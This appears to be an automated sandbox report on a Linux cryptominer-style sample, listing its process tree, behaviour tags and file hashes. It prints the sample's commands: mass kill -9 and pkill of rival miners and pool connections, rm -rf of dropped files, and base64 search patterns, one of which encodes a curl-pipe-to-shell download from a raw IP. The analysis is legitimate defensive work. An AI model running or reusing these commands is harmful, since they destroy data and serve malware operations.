/bin/grepgrep -v grep2⤵PID:1527
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1535
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1534
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1533
-
-
/bin/grepgrep -v grep2⤵PID:1532
-
-
/bin/psps auxf2⤵PID:1531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1540
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1539
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1538
-
-
/bin/grepgrep -v grep2⤵PID:1537
-
-
/bin/psps auxf2⤵PID:1536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1545
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1544
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1543
-
-
/bin/grepgrep -v grep2⤵PID:1542
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1541
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1550
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1549
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1548
-
-
/bin/grepgrep -v grep2⤵PID:1547
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1546
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1555
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1554
-
-
/bin/grepPID:1553
-
-
/bin/grepgrep -v grep2⤵PID:1552
-
-
/bin/psps auxf2⤵PID:1551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1560
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1559
-
-
/bin/grepgrep monerohash.com2⤵PID:1558
-
-
/bin/grepgrep -v grep2⤵PID:1557
-
-
/bin/psps auxf2⤵PID:1556
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1565
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1564
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1563
-
-
/bin/grepgrep -v grep2⤵PID:1562
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1561
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1570
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1569
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1568
-
-
/bin/grepgrep -v grep2⤵PID:1567
-
-
/bin/psps auxf2⤵PID:1566
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1575
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1574
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1573
-
-
/bin/grepgrep -v grep2⤵PID:1572
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1571
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1580
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1579
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1578
-
-
/bin/grepgrep -v grep2⤵PID:1577
-
-
/bin/psps auxf2⤵PID:1576
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1585
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1584
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1583
-
-
/bin/grepgrep -v grep2⤵PID:1582
-
-
/bin/psps auxf2⤵PID:1581
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1590
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1589
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1588
-
-
/bin/grepgrep -v grep2⤵PID:1587
-
-
/bin/psps auxf2⤵PID:1586
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1595
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1594
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1593
-
-
/bin/grepgrep -v grep2⤵PID:1592
-
-
/bin/psps auxf2⤵PID:1591
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1599 -
/usr/local/sbin/killkill -9 15973⤵PID:1600
-
-
/usr/local/bin/killkill -9 15973⤵PID:1600
-
-
/usr/sbin/killkill -9 15973⤵PID:1600
-
-
/usr/bin/killkill -9 15973⤵PID:1600
-
-
/sbin/killkill -9 15973⤵PID:1600
-
-
/bin/killkill -9 15973⤵PID:1600
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1598
-
-
/bin/grepgrep xiaoyao2⤵PID:1597
-
-
/bin/psps auxf2⤵PID:1596
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1604
-
/usr/local/sbin/killkill -9 16023⤵PID:1605
-
-
/usr/local/bin/killkill -9 16023⤵PID:1605
-
-
/usr/sbin/killkill -9 16023⤵PID:1605
-
-
/usr/bin/killkill -9 16023⤵PID:1605
-
-
/sbin/killkill -9 16023⤵PID:1605
-
-
/bin/killkill -9 16023⤵PID:1605
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1603
-
-
/bin/grepgrep xiaoxue2⤵PID:1602
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1601
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1611
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1609
-
-
/bin/grepgrep 46.243.253.152⤵PID:1607
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1608
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1610
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1617
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1616
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1615
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1614
-
-
/bin/grepgrep 176.31.6.162⤵PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1619
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1618
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1621
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1620
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1623
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1622
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1625
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1624
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1627
-
-
/usr/bin/pgreppgrep -f addnj2⤵
- Reads CPU attributes
PID:1626
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1629
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1628
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1631
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1630
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1633
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1632
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1635
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵
- Reads CPU attributes
- Reads runtime system information
PID:1634
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1637
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads CPU attributes
PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1639
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1641
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1640
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1643
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1642
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1645
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1644
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1647
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵
- Reads runtime system information
PID:1646
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1649
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵
- Reads CPU attributes
PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1651
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1650
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1653
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1655
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1657
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1659
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵
- Reads CPU attributes
PID:1658
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1661
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵PID:1660
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1663
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1665
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1664
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1667
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1669
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1668
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1671
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵
- Reads runtime system information
PID:1670
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1673
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1675
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads CPU attributes
PID:1674
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1677
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1679
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵
- Reads CPU attributes
PID:1678
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1681
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1680
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1683
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads CPU attributes
PID:1682
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1685
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads CPU attributes
PID:1684
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1687
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1686
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1689
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads runtime system information
PID:1688
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1690
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1693
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1692
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1695
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1694
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1697
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads runtime system information
PID:1696
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1699
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵
- Reads runtime system information
PID:1698
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1701
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵
- Reads CPU attributes
- Reads runtime system information
PID:1700
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1703
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵
- Reads CPU attributes
PID:1702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1705
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵
- Reads CPU attributes
PID:1704
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1707
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1706
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1709
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1711
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1710
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1713
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1712
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1715
-
-
/usr/bin/pgreppgrep -f native_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1714
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1717
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1716
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1719
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵
- Reads runtime system information
PID:1718
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1721
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1723
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1722
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1725
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1727
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵
- Reads runtime system information
PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1729
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1728
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1731
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1730
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1732
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1733
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1734
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1735
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1736
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1737
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1738
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵PID:1739
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵PID:1740
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1741
-
-
/usr/bin/pkillpkill -f ir29xc12⤵
- Reads CPU attributes
PID:1742
-
-
/usr/bin/pkillpkill -f conns2⤵PID:1743
-
-
/usr/bin/pkillpkill -f irqbalance2⤵
- Reads CPU attributes
PID:1744
-
-
/usr/bin/pkillpkill -f crypto-pool2⤵PID:1745
-
-
/usr/bin/pkillpkill -f XJnRj2⤵
- Reads CPU attributes
PID:1746
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1747
-
-
/usr/bin/pkillpkill -f pythno2⤵PID:1748
-
-
/usr/bin/pkillpkill -f jweri2⤵PID:1749
-
-
/usr/bin/pkillpkill -f lx262⤵PID:1750
-
-
/usr/bin/pkillpkill -f NXLAi2⤵PID:1751
-
-
/usr/bin/pkillpkill -f BI5zj2⤵PID:1752
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1753
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1754
-
-
/usr/bin/pkillpkill -f minergate2⤵PID:1755
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1756
-
-
/usr/bin/pkillpkill -f ysaydh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1757
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1758
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1759
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1760
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵PID:1761
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵
- Reads runtime system information
PID:1762
-
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1763
-
-
/usr/bin/pkillpkill -f kworker342⤵
- Reads CPU attributes
PID:1764
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1765
-
-
/usr/bin/pkillpkill -f pro.sh2⤵
- Reads CPU attributes
PID:1766
-
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads CPU attributes
PID:1767
-
-
/usr/bin/pkillpkill -f acpid2⤵
- Reads runtime system information
PID:1768
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1769
-
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1770
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵PID:1771
-
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads runtime system information
PID:1772
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1773
-
-
/usr/bin/pkillpkill -f gddr2⤵PID:1774
-
-
/usr/bin/pkillpkill -f mstxmr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1775
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1776
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵PID:1777
-
-
/usr/bin/pkillpkill -f deamon2⤵PID:1778
-
-
/usr/bin/pkillpkill -f disk_genius2⤵PID:1779
-
-
/usr/bin/pkillpkill -f sourplum2⤵
- Reads runtime system information
PID:1780
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1781
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1782
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1783
-
-
/usr/bin/pkillpkill -f devtool2⤵
- Reads runtime system information
PID:1784
-
-
/usr/bin/pkillpkill -f devtools2⤵
- Reads runtime system information
PID:1785
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads CPU attributes
PID:1786
-
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1787
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1788
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1789
-
-
/usr/bin/pkillpkill -f xmrig2⤵PID:1790
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵PID:1791
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵
- Reads CPU attributes
- Reads runtime system information
PID:1792
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1793
-
-
/usr/bin/pkillpkill -f nginxk2⤵
- Reads CPU attributes
PID:1794
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵
- Reads runtime system information
PID:1795
-
-
/usr/bin/pkillpkill -f xmrig-notls2⤵
- Reads CPU attributes
PID:1796
-
-
/usr/bin/pkillpkill -f xmr-stak2⤵PID:1797
-
-
/usr/bin/pkillpkill -f suppoie2⤵
- Reads CPU attributes
PID:1798
-
-
/usr/bin/pkillpkill -f zer0day.ru2⤵
- Reads CPU attributes
PID:1799
-
-
/usr/bin/pkillpkill -f dbus-daemon--system2⤵PID:1800
-
-
/usr/bin/pkillpkill -f nullcrew2⤵PID:1801
-
-
/usr/bin/pkillpkill -f systemctI2⤵PID:1802
-
-
/usr/bin/pkillpkill -f kworkerds2⤵PID:1803
-
-
/usr/bin/pkillpkill -f init10.cfg2⤵
- Reads CPU attributes
PID:1804
-
-
/usr/bin/pkillpkill -f /wl.conf2⤵PID:1805
-
-
/usr/bin/pkillpkill -f crond642⤵PID:1806
-
-
/usr/bin/pkillpkill -f sustse2⤵PID:1807
-
-
/usr/bin/pkillpkill -f vmlinuz2⤵PID:1808
-
-
/usr/bin/pkillpkill -f exin2⤵
- Reads CPU attributes
PID:1809
-
-
/usr/bin/pkillpkill -f apachiii2⤵
- Reads runtime system information
PID:1810
-
-
/usr/bin/pkillpkill -f svcworkmanager2⤵PID:1811
-
-
/usr/bin/pkillpkill -f xr2⤵
- Reads CPU attributes
PID:1812
-
-
/usr/bin/pkillpkill -f trace2⤵PID:1813
-
-
/usr/bin/pkillpkill -f svcupdate2⤵
- Reads CPU attributes
PID:1814
-
-
/usr/bin/pkillpkill -f networkmanager2⤵PID:1815
-
-
/usr/bin/pkillpkill -f phpupdate2⤵PID:1816
-
-
/bin/rmrm -rf /usr/bin/config.json2⤵PID:1817
-
-
/bin/rmrm -rf /usr/bin/exin2⤵PID:1818
-
-
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1819
-
-
/bin/rmrm -rf /tmp/log_rot2⤵PID:1820
-
-
/bin/rmrm -rf /tmp/apachiii2⤵PID:1821
-
-
/bin/rmrm -rf /tmp/sustse2⤵PID:1822
-
-
/bin/rmrm -rf /tmp/php2⤵PID:1823
-
-
/bin/rmrm -rf /tmp/p2.conf2⤵PID:1824
-
-
/bin/rmrm -rf /tmp/pprt2⤵PID:1825
-
-
/bin/rmrm -rf /tmp/ppol2⤵PID:1826
-
-
/bin/rmrm -rf /tmp/javax/config.sh2⤵PID:1827
-
-
/bin/rmrm -rf /tmp/javax/sshd22⤵PID:1828
-
-
/bin/rmrm -rf /tmp/.profile2⤵PID:1829
-
-
/bin/rmrm -rf /tmp/1.so2⤵PID:1830
-
-
/bin/rmrm -rf /tmp/kworkerds2⤵PID:1831
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686